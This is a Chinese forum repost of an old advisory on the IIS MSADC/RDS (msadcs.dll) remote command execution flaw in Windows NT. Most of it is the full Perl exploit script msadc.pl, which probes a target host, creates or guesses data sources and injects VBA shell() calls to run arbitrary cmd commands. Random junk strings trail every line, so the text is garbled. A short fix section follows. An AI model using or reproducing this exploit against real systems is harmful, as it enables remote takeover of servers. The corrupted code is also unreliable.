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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) SCgyp(  
d&/^34gn  
涉及程序: )C'G2RV  
Microsoft NT server X7t 5b7  
=9kj? u~  
描述: ]\[m=0K  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 jn.R.}TT  
d1UVvyH  
详细: P h9Hg'  
如果你没有时间读详细内容的话,就删除: or?0PEx\  
c:\Program Files\Common Files\System\Msadc\msadcs.dll t8L<x  
有关的安全问题就没有了。 KDux$V4  
+= X).X0K  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 M' &J _g  
~sZqa+jB0  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 eV"dv*R  
关于利用ODBC远程漏洞的描述,请参看: l R:O k8e  
t.3Ct@wK  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 3?!G-  
1_N~1Ik  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 JQ~y- lt  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 99\{!W  
D=jS h  
这里不再论述。 Q2JdO 6[96  
w%>aR_G  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 5x:Ift *  
MDMtOfe|  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset }v_p gatC  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! szf"|k!  
ST[2]   
9zXu6<|qrL  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ;b, -$A  
'CP/ymf/a  
#!perl mle_*Gy8  
# *LY~l  
# MSADC/RDS 'usage' (aka exploit) script L!CX &  
# uPa/,"p  
# by rain.forest.puppy F?*Dr  
# h$E\2lsE  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me \4[c}l  
# beta test and find errors! )B -MPuB  
vp"%IW  
use Socket; use Getopt::Std; KC@k9e  
getopts("e:vd:h:XR", \%args); Fpy6"Z?z  
^n\9AE3  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; L9E;Uii0  
l=oN X"l=  
if (!defined $args{h} && !defined $args{R}) { +")qi =  
print qq~ {DKXn`V  
Usage: msadc.pl -h <host> { -d <delay> -X -v } F{#N6,T  
-h <host> = host you want to scan (ip or domain) !yoSMI-  
-d <seconds> = delay between calls, default 1 second 8[6ny=S`  
-X = dump Index Server path table, if available 7Vz[ji  
-v = verbose l.__10{  
-e = external dictionary file for step 5 u Y?/B~  
zvek2\*rO  
Or a -R will resume a command session (|yRo  
Wl^prs7}c  
~; exit;} }*fW!(*  
+=|hMQ;  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; dzjBUD  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 2ApDpH`fiJ  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 8m#}S\m  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); 3v8V*48B$  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} F/Rng'l  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Cfv L)f  
.){e7U6b{  
if (!defined $args{R}){ $ret = &has_msadc; ?aK'OIo  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 9@KUqoX  
#rn4 $  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" {:};(oz)f  
. "cmd /c "; k| _$R?  
$in=<STDIN>; chomp $in; sD LVYD  
$command="cmd /c " . $in ; Hmz=/.$  
<7_ |Q   
if (defined $args{R}) {&load; exit;} 1g~Dm}m  
O ,F]\  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; { ()p%#*  
&try_btcustmr; R&u)=~O\5  
{AU` }*5  
print "\nStep 2: Trying to make our own DSN..."; ^kCk^D-Gz  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; -XS+Uv  
KKx&UKjV  
print "\nStep 3: Trying known DSNs..."; e3yorQ][  
&known_dsn; 5PPPd-'Z_  
e.)yV'%L  
print "\nStep 4: Trying known .mdbs..."; }};j2  
&known_mdb; 1kB'sc3N!  
SQO>}#qm  
if (defined $args{e}){ Bi9 N  
print "\nStep 5: Trying dictionary of DSN names..."; <Um1h:^   
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } fP^W"y  
wQo6!H "K  
print "Sorry Charley...maybe next time?\n"; ..P=D <'f  
exit; Zd[y+$>  
)0 Y #-=.<  
############################################################################## TIK/%T  
A%NK0j$;}  
sub sendraw { # ripped and modded from whisker `l[6rf_.  
sleep($delay); # it's a DoS on the server! At least on mine... 1S*8v 7  
my ($pstr)=@_; w>NZRP_3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || p6&LZ=tL3  
die("Socket problems\n"); hYP6z^  
if(connect(S,pack "SnA4x8",2,80,$target)){ h/0<:eZ*  
select(S); $|=1; w%i+>\tO  
print $pstr; my @in=<S>; p=8M0k  
select(STDOUT); close(S); _Ewy^;S%L  
return @in; p\\P50(-  
} else { die("Can't connect...\n"); }} Xm"w,J&  
;#5-.z  
############################################################################## 7AGZu?1]M  
)#b}qc#`  
sub make_header { # make the HTTP request mJ6t.%'d  
my $msadc=<<EOT *([0"  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 )V[w:=*  
User-Agent: ACTIVEDATA h3UZ|B0=  
Host: $ip Gx(KN57D  
Content-Length: $clen p?Z+z  
Connection: Keep-Alive xWenKY,  
@!L@UP0  
ADCClientVersion:01.06 t7C!}'g&'  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 ~cO?S2!W  
9}%~w(P  
--!ADM!ROX!YOUR!WORLD! [3{:H"t  
Content-Type: application/x-varg M(.uu`B  
Content-Length: $reqlen /?.r!Cp  
JqVBT+:  
EOT 2-"Lxe65f  
; $msadc=~s/\n/\r\n/g; 3oppV_^JdT  
return $msadc;} |!4B Wt  
s]nGpA[!  
############################################################################## z{D$~ ob  
G:h;C].  
sub make_req { # make the RDS request ~# hE&nq  
my ($switch, $p1, $p2)=@_; )E[ Q  
my $req=""; my $t1, $t2, $query, $dsn;  ?;ALF  
2HvTM8  
if ($switch==1){ # this is the btcustmr.mdb query +H)!uLva B  
$query="Select * from Customers where City=" . make_shell(); ~n8Oyr  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . PK.h E{R  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} {|Mxvp*Hg  
xoz*UA.  
elsif ($switch==2){ # this is general make table query |*]X\UE  
$query="create table AZZ (B int, C varchar(10))"; zCj*:n  
$dsn="$p1";} &;NNU T>Q  
d!}jdt5%  
elsif ($switch==3){ # this is general exploit table query Q ^1#xBd  
$query="select * from AZZ where C=" . make_shell(); eu}:Wg2  
$dsn="$p1";} ,z0~mN  
~L \(/[  
elsif ($switch==4){ # attempt to hork file info from index server gNEzlx8A  
$query="select path from scope()"; 3I U$  
$dsn="Provider=MSIDXS;";} yO$r'9?,*  
m &3HFf  
elsif ($switch==5){ # bad query K d`l[56#  
$query="select"; +e\:C~2f28  
$dsn="$p1";} Q?Bj q>  
zal3j^  
$t1= make_unicode($query); DMK"Q#Vw  
$t2= make_unicode($dsn); '$kS]U  
$req = "\x02\x00\x03\x00"; tvj'{W  
$req.= "\x08\x00" . pack ("S1", length($t1));  hZss  
$req.= "\x00\x00" . $t1 ; G +nY}c  
$req.= "\x08\x00" . pack ("S1", length($t2)); [kp7LA"`  
$req.= "\x00\x00" . $t2 ; %CsTB0Y7n,  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; HAI1%F236  
return $req;} Q8gdI  
cOZajC<G  
############################################################################## 9|G=KN)P:  
"b1R5(Ar  
sub make_shell { # this makes the shell() statement %T,\xZ  
return "'|shell(\"$command\")|'";} %`s9yRk9>E  
,h wf  
############################################################################## pxCGE[@`  
{*ko=77$*  
sub make_unicode { # quick little function to convert to unicode wEo-a< (  
my ($in)=@_; my $out; ]mO+<{{4X  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }  jKb=Zkd  
return $out;} uc"[qT(X  
H z < M  
############################################################################## J<5vs3[9  
vUIK4uR.  
sub rdo_success { # checks for RDO return success (this is kludge) <2TB9]2. g  
my (@in) = @_; my $base=content_start(@in); 6>N u=~  
if($in[$base]=~/multipart\/mixed/){ R<0!?`b  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ,39$iHk  
return 0;} z hR_qW+  
6Ymo%OT  
############################################################################## V)?x*R*T)  
HZr/0I?  
sub make_dsn { # this makes a DSN for us +poIgjq0  
my @drives=("c","d","e","f"); *2m&?,nJ  
print "\nMaking DSN: "; t#D\*:Xi  
foreach $drive (@drives) {  7 zP  
print "$drive: "; /xrq'|r?C  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . /J9T=N  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" u UVV>An  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); v\?\(Y55Y  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; c;t(j'k`  
return 0 if $2 eq "404"; # not found/doesn't exist BorfEv} SN  
if($2 eq "200") { P+zI9~N[  
foreach $line (@results) { @x-GbK?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 5f`XFe$8  
} return 0;} cnUU1Uz>  
}~\].I6  
############################################################################## ;uA_gn!  
1Sc~Vb|>  
sub verify_exists { `bt)'ERO%#  
my ($page)=@_; -Bwu$$0  
my @results=sendraw("GET $page HTTP/1.0\n\n"); e,j? _p  
return $results[0];} $RFu m'`5  
G/RheH G  
############################################################################## <2@<r t{  
<hF~L k ,  
sub try_btcustmr { @9kk f{?  
my @drives=("c","d","e","f"); 8Jy1=R*S  
my @dirs=("winnt","winnt35","winnt351","win","windows"); W!Ct[t  
y3o4%K8  
foreach $dir (@dirs) {  ~NW5+M(u  
print "$dir -> "; # fun status so you can see progress [2j (\vC!  
foreach $drive (@drives) { \tw#p k  
print "$drive: "; # ditto :PjUl  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; G'}_ZUy#  
$reqlenlen=length( "$reqlen" ); &LxzAL,3!  
$clen= 206 + $reqlenlen + $reqlen; YDzF( ']o:  
sp |y/r#  
my @results=sendraw(make_header() . make_req(1,$drive,$dir));  ?Ge*~d  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} m+gG &`&u  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} %Pvb>U(Xs  
@okm@6J*X  
############################################################################## 4z 3$  
I\4`90uBN  
sub odbc_error { X9`C2fyVd  
my (@in)=@_; my $base; \3:{LOr%*  
my $base = content_start(@in); "}x70q'>S  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this `_{ '?II  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; \3Ald.EqtM  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @XG`D>%k  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; L!8?2 \5  
return $in[$base+4].$in[$base+5].$in[$base+6];} W2.1xNWO  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 6pz:Lfd80  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . R^O)fL0_  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 2'^OtM,  
N4]6LA6x6  
############################################################################## [N$_@[  
jvKaxB;e  
sub verbose { #&8pp8wd,}  
my ($in)=@_; ,HO/Q6;N  
return if !$verbose; ToXFMkwY  
print STDOUT "\n$in\n";} {8p?we3l1  
PH4bM  
############################################################################## ]3# @t:>  
68br  
sub save { {|wTZ  
my ($p1, $p2, $p3, $p4)=@_; 9M~$W-5  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; \,#4+&4b  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 8}`8lOE7  
close OUT;} K[;,/:Y  
U[ O!&:6  
############################################################################## vc1GmB  
~4X!8b_  
sub load { /Ta0}Y(y  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3)MM5 b b$  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); EsxTBg  
@p=<IN>; close(IN); ~S{\wL53  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); ZC-evy  
$target= inet_aton($ip) || die("inet_aton problems"); W oG  
print "Resuming to $ip ..."; Oy`\8*Uy__  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; exN#!& ;  
if($p[1]==1) { oW1olmpp=  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; D~?*Xv]s ~  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; "ZB`fNE  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); nPX'E`ut-V  
if (rdo_success(@results)){print "Success!\n";} ^aM/BS\  
else { print "failed\n"; verbose(odbc_error(@results));}} 5+"8q#X$  
elsif ($p[1]==3){ 1ZW'PXUZ  
if(run_query("$p[3]")){ m<LzB_ G\  
print "Success!\n";} else { print "failed\n"; }} :< 3;7R'5  
elsif ($p[1]==4){ =<uz'\Ytv%  
if(run_query($drvst . "$p[3]")){ 90696v.  
print "Success!\n"; } else { print "failed\n"; }} 3A/MFQ#2  
exit;} 8ewEdnE   
?B:wV?-`  
############################################################################## eOO*gM=  
NbMH@6%E  
sub create_table { %.gjBI=  
my ($in)=@_; bD[W~ku  
$reqlen=length( make_req(2,$in,"") ) - 28; \ bmboNe  
$reqlenlen=length( "$reqlen" ); t4W0~7   
$clen= 206 + $reqlenlen + $reqlen; X?xm1|\  
my @results=sendraw(make_header() . make_req(2,$in,"")); c@{^3V##T  
return 1 if rdo_success(@results); NW Qu-]P  
my $temp= odbc_error(@results); verbose($temp); UHszOl  
return 1 if $temp=~/Table 'AZZ' already exists/; A/6nV n  
return 0;} zQ^[=siZ}  
6C}Z1lZl  
############################################################################## z#67rh {  
D(?#oCCA  
sub known_dsn { nE$ V<Co}  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go d"uM7PMs7x  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 05zdy-Fb  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", |}Z"|-Z  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); `.Q3s?1F  
0#GwhB  
foreach $dSn (@dsns) { \>k#]4@rp  
print "."; v" TH[}C9D  
next if (!is_access("DSN=$dSn")); (D3m5fO  
if(create_table("DSN=$dSn")){  .5r0%  
print "$dSn successful\n"; 3nGK674;z  
if(run_query("DSN=$dSn")){ -mdPqVIJn:  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Ev ,8?  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Ekp 0.c8:  
4nXS9RiF2  
############################################################################## o6%f%:&  
ZlXs7 &_  
sub is_access { jl29~^@}1i  
my ($in)=@_; D)$k{v#~  
$reqlen=length( make_req(5,$in,"") ) - 28; g+F_M  
$reqlenlen=length( "$reqlen" ); Lh$ac-Ct  
$clen= 206 + $reqlenlen + $reqlen; QZP;k!"w  
my @results=sendraw(make_header() . make_req(5,$in,"")); E1[%~Cpw*  
my $temp= odbc_error(@results); Ykq }9  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); $)a5;--W  
return 0;} ,fL e%RP  
bTKxv<  
############################################################################## !.N=Y;@lY  
0 1w/,r  
sub run_query { c=E.-  
my ($in)=@_; Cagq0-:(p  
$reqlen=length( make_req(3,$in,"") ) - 28; FJ. :*K[  
$reqlenlen=length( "$reqlen" ); jH/%Z5iu  
$clen= 206 + $reqlenlen + $reqlen; LM`#S/h  
my @results=sendraw(make_header() . make_req(3,$in,"")); @2O\M ,g5  
return 1 if rdo_success(@results); l'R`XGT  
my $temp= odbc_error(@results); verbose($temp); IMEoov-x  
return 0;} (jMp`4P  
}Ec"&  
############################################################################## GY :IORuA4  
Ghe=hhZ  
sub known_mdb { JYU Ks~Qt  
my @drives=("c","d","e","f","g"); 7nIMIkT:  
my @dirs=("winnt","winnt35","winnt351","win","windows"); q@> m~R  
my $dir, $drive, $mdb; t')I c6.?i  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; Stx-(Kfn4  
nJw1Sl5  
# this is sparse, because I don't know of many _CT|5wQF<  
my @sysmdbs=( "\\catroot\\icatalog.mdb", wpmtv325  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", |Q+v6r(<zZ  
"\\system32\\certmdb.mdb", `buTP?]4.  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% aa!c>"g6  
k{8N@&D  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", pp_ddk  
"\\cfusion\\cfapps\\forums\\forums_.mdb", | mX8fRh  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", C*<LVW{P  
"\\cfusion\\cfapps\\security\\realm_.mdb", $nN$"  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", }e w?{  
"\\cfusion\\database\\cfexamples.mdb", S)h1e%f, f  
"\\cfusion\\database\\cfsnippets.mdb", =]Bm>67"  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", =^}2 /vA  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", P0<uF`87  
"\\cfusion\\brighttiger\\database\\cleam.mdb", \hX^Cn=6  
"\\cfusion\\database\\smpolicy.mdb", evP`&23tP  
"\\cfusion\\database\cypress.mdb", CjCnh7tm  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", #SOe &W5  
"\\website\\cgi-win\\dbsample.mdb", W`kgYGnFG  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", .!! yj,bQz  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 3M`J.>  
); #these are just ea/6$f9^  
foreach $drive (@drives) { yK;I<8+>_  
foreach $dir (@dirs){ X} 8U-N6)  
foreach $mdb (@sysmdbs) { $S/ 8T  
print "."; =="SW"vNi  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ *n\qV*|6bI  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; )nVx 2m4  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ (~4AG \  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; =cY]cPO  
} else { print "Something's borked. Use verbose next time\n"; }}}}} n9ih^H  
?,[w6O*  
foreach $drive (@drives) { Po[zzj>m  
foreach $mdb (@mdbs) { b87d'# .  
print "."; SuSZ,>  
if(create_table($drv . $drive . $dir . $mdb)){ d?qz7#kc  
print "\n" . $drive . $dir . $mdb . " successful\n"; XO>Y*7rO  
if(run_query($drv . $drive . $dir . $mdb)){ *QJ/DC$  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; <z PyID`  
} else { print "Something's borked. Use verbose next time\n"; }}}} qKXn=J/0tA  
} s,= ^V/c  
7va%-&.&t  
############################################################################## >@o*v*25  
.l!Z=n|  
sub hork_idx { ^ TS\x/P  
print "\nAttempting to dump Index Server tables...\n"; MvA_tRO  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ~Fh(4'  
$reqlen=length( make_req(4,"","") ) - 28; yDrJn* r^  
$reqlenlen=length( "$reqlen" ); 7 #`:m|$  
$clen= 206 + $reqlenlen + $reqlen; "~ 6B C  
my @results=sendraw2(make_header() . make_req(4,"","")); k5/}S@F8  
if (rdo_success(@results)){ t!$/r]XM h  
my $max=@results; my $c; my %d; :yeTzIz]  
for($c=19; $c<$max; $c++){ "k/x+%!Spc  
$results[$c]=~s/\x00//g; nNr3'6lz  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; BH1To&ol  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Kk#@8h>  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; wO9<An  
$d{"$1$2"}="";} Bf.RYLsh6  
foreach $c (keys %d){ print "$c\n"; } xYq8\9Qb  
} else {print "Index server doesn't seem to be installed.\n"; }} qYs6PLC  
1zffPC8jl  
############################################################################## sQ$FtKm6  
:1I,:L  
sub dsn_dict { {z7{ta  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 6>Fw,$  
while(<IN>){ 6 9Cxh  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; P#C`/%$S  
next if (!is_access("DSN=$dSn")); !~#31kL&  
if(create_table("DSN=$dSn")){ q]aRJ`9f  
print "$dSn successful\n"; [S%  
if(run_query("DSN=$dSn")){ t+VPX2  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _e W*  
print "Something's borked. Use verbose next time\n";}}} r_",E=e  
print "\n"; close(IN);} ),_bDI L+  
spf}{o  
############################################################################## R.7" ZG  
<5 +?&i  
sub sendraw2 { # ripped and modded from whisker {>qCZ#E5WO  
sleep($delay); # it's a DoS on the server! At least on mine...  i.]}ooI  
my ($pstr)=@_; &N#)(rQ1  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ! ^W|;bq  
die("Socket problems\n"); 4#T'Fy].  
if(connect(S,pack "SnA4x8",2,80,$target)){ aVlHY E  
print "Connected. Getting data"; ?!ig/ufZ  
open(OUT,">raw.out"); my @in; ,DjZDw  
select(S); $|=1; print $pstr; +q(D]:@,[  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} .T7ciD  
close(OUT); select(STDOUT); close(S); return @in; -p 1arA  
} else { die("Can't connect...\n"); }} Co M8  
l40$}!!<  
############################################################################## 6 eBQ9XV  
LLMkv!%D  
sub content_start { # this will take in the server headers ETIf x)B-  
my (@in)=@_; my $c; X$aMf &x  
for ($c=1;$c<500;$c++) { )c*~Y=f  
if($in[$c] =~/^\x0d\x0a/){ z t1Q_;  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } W$&Q.Z  
else { return $c+1; }}} 6 B )   
return -1;} # it should never get here actually Oj2[(7 mO/  
TCYnErqk  
############################################################################## +1Uw<~  
!(]|!F[m  
sub funky { $t]DxMd  
my (@in)=@_; my $error=odbc_error(@in); _ n>0!  
if($error=~/ADO could not find the specified provider/){ sTb/l!=o  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ^ZsME,  
exit;} 1_' ZbZv4h  
if($error=~/A Handler is required/){ tnsYY  
print "\nServer has custom handler filters (they most likely are patched)\n"; r&qD!l5y  
exit;} BBX4^;t  
if($error=~/specified Handler has denied Access/){ 0Ec -/   
print "\nServer has custom handler filters (they most likely are patched)\n"; 2a G<^3  
exit;}} P>H'od  
Av'H(qB\K  
############################################################################## 4DNZ y2`  
ecb[m2z  
sub has_msadc { ,W#y7 t  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); /xmd]XM=_  
my $base=content_start(@results); dZm{?\^_  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); a8N!jQc_m  
return 0;} 1ayxE(vMcX  
i-Z@6\/a5  
######################## Vq*p?cF .  
Ai/#C$MY$  
(GeJBw,Q  
解决方案: .sLx6J%  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll @{a(f;  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 m?csake.Me  
sU`#d  
拿出来充数 哈哈
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